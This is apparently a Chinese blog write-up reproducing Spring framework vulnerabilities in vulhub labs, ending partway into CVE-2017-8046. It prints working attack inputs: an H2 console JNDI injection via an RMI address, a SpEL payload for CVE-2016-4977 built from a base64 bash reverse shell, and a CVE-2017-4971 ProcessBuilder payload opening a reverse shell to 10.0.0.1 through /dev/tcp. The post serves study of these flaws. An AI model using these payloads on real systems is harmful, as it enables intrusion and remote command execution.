Spring框架常见漏洞

以下漏洞复现大部分来自vulhub,本篇文章主要是为了熟悉和理解常见的漏洞的攻击流程,当然也有我自己的一些原理解释。

SpEL注入攻击

Spring H2 Database Console未授权访问

  • 漏洞原理

    • vulhub的解释
      H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:
      spring.h2.console.enabled=true
      spring.h2.console.settings.web-allow-others=true
      
      利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。
    • 我的补充
      参考文章:Spring Boot + H2数据库JNDI注入
      这里就是一个JNDI注入,在web页面中输入我们的rmi服务器,即远程绑定我们的方法,然后去http服务器加载恶意class类,攻击成功。
  • 影响版本
    Spring Boot中使用 H2数据库。只要设置不当就会出现该漏洞

  • 漏洞复现
    访问路由 /h2-console 来到页面
    在这里插入图片描述
    自己搭建好rmi服务器且弄好http加载恶意类,但是我们可以直接使用大佬的集成工具,JNDI一键帮忙搭载好了:https://github.com/welk1n/JNDI-Injection-Exploit
    开启恶意服务器:
    设置好-C执行的命令
    (-A 默认是第一张网卡地址,-A 你的服务器地址,我这里就默认了)
    在这里插入图片描述

    攻击之前先进入容器查看一下确认不存在hacker文件
    (因为我们执行的命令是touch /tmp/hacker)
    在这里插入图片描述

    按照你java版本(1.8以上建议选第一个就行)选择rmi地址,然后在web漏洞存在的页面上输入

    javax.naming.InitialContext
    rmi://your-ip:1099/9b8j4m
    

    点击连接即发起攻击在这里插入图片描述 rmi服务器有反应 在这里插入图片描述

    容器内可以看到就创建成功了
    在这里插入图片描述

Spring Security OAuth2远程命令执行漏洞(CVE-2016-4977)

  • 漏洞原理
    参考:https://blog.knownsec.com/2016/10/spring-security-oauth-rce
    注意:参考文章中访问的url和vulhub给的不一样,我下面是按照vulhub的来。
    简单来说:这里的SpEL注入,造成注入的原因是渲染了错误信息,由于errorSummary被装入model,然后进入函数后递归提取SpEL表达式执行。

  • 影响版本
    Spring Security OAuth2 2.0.0 ~ 2.0.9
    Spring Security OAuth2 1.0.0 ~ 1.0.5

  • 漏洞复现
    访问 /oauth/authorize?response_type=${233*1}&client_id=acme&scope=openid&redirect_uri=http://test
    在这里插入图片描述
    需要登录的输入admin/admin
    然后就会发现我们SpEL注入的表达式就在:response_type=${233*1}
    那么就可以通过脚本:https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/poc.py 来生成对应的SpEL表达式
    在这里插入图片描述
    使用脚本之前先进行编码,这里将你要执行的命令编码一下,这里使用base64,要进行一次反弹shell操作。
    在这里插入图片描述
    然后使用poc.py脚本生成SpEL表达式,
    格式为:bash -c {echo,你生成的base64编码放这里|{base64,-d}|{bash,-i}
    在这里插入图片描述
    然后再服务器开启监听接受反弹shell
    在这里插入图片描述
    接着就可以将poc.py的那一段payload放进参数response_type=${payload这里}
    在这里插入图片描述
    可以看到反弹shell成功
    在这里插入图片描述

Spring WebFlow远程代码执行漏洞(CVE-2017-4971)

  • 漏洞原理
    参考文章:https://yaofeifly.github.io/2017/06/13/Spring-Web-Flow/
    简单来说:我们需要额外增加一个参数,且以_开头的,作为payload来传递到后台进行解析,而根本原因是addDefaultMappings函数中对我们传递进来的parameterNames进行绑定解析,而解析的类为expressionParser,该类expressionParser的默认值可以解析SpEL表达式,所以通过控制参数造成了SpEL注入攻击。
    由此可知还要有前提条件:

  • MvcViewFactoryCreator类中useSpringBeanBinding默认值(false)未修改

  • webflow配置文件中view-state节点中指定了model属性,并且没有指定绑定的参数,即view-state中没有配置binder节点

  • 影响版本:2.4.x

  • 漏洞复现
    在这里插入图片描述
    来到登录页面
    /login
    在这里插入图片描述
    在这里插入图片描述
    访问:/hotels/1 进行预订酒店
    在这里插入图片描述
    在这里插入图片描述
    随便填写,然后提交
    在这里插入图片描述
    开启抓包,点击comfirm
    在这里插入图片描述在这里插入图片描述
    这里进行一个反弹shell功能,那么在服务器先开启nc监听
    在这里插入图片描述
    然后填入反弹shell的payload:(记得将payload进行url编码)
    _(new java.lang.ProcessBuilder(“bash”,“-c”,“bash -i >& /dev/tcp/10.0.0.1/21 0>&1”)).start()=vulhub
    进行url编码↓↓↓↓进行url编码
    _(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/10.0.0.1/21+0>%261")).start()=vulhub
    在这里插入图片描述
    发送数据包,返回500是正常
    在这里插入图片描述
    查看nc已经看到反弹shell了
    在这里插入图片描述

Spring Data Rest远程命令执行漏洞(CVE-2017-8046)

  • 漏洞原理
    参考文章:

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

竹等寒

谢过道友支持,在下就却之不恭了

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值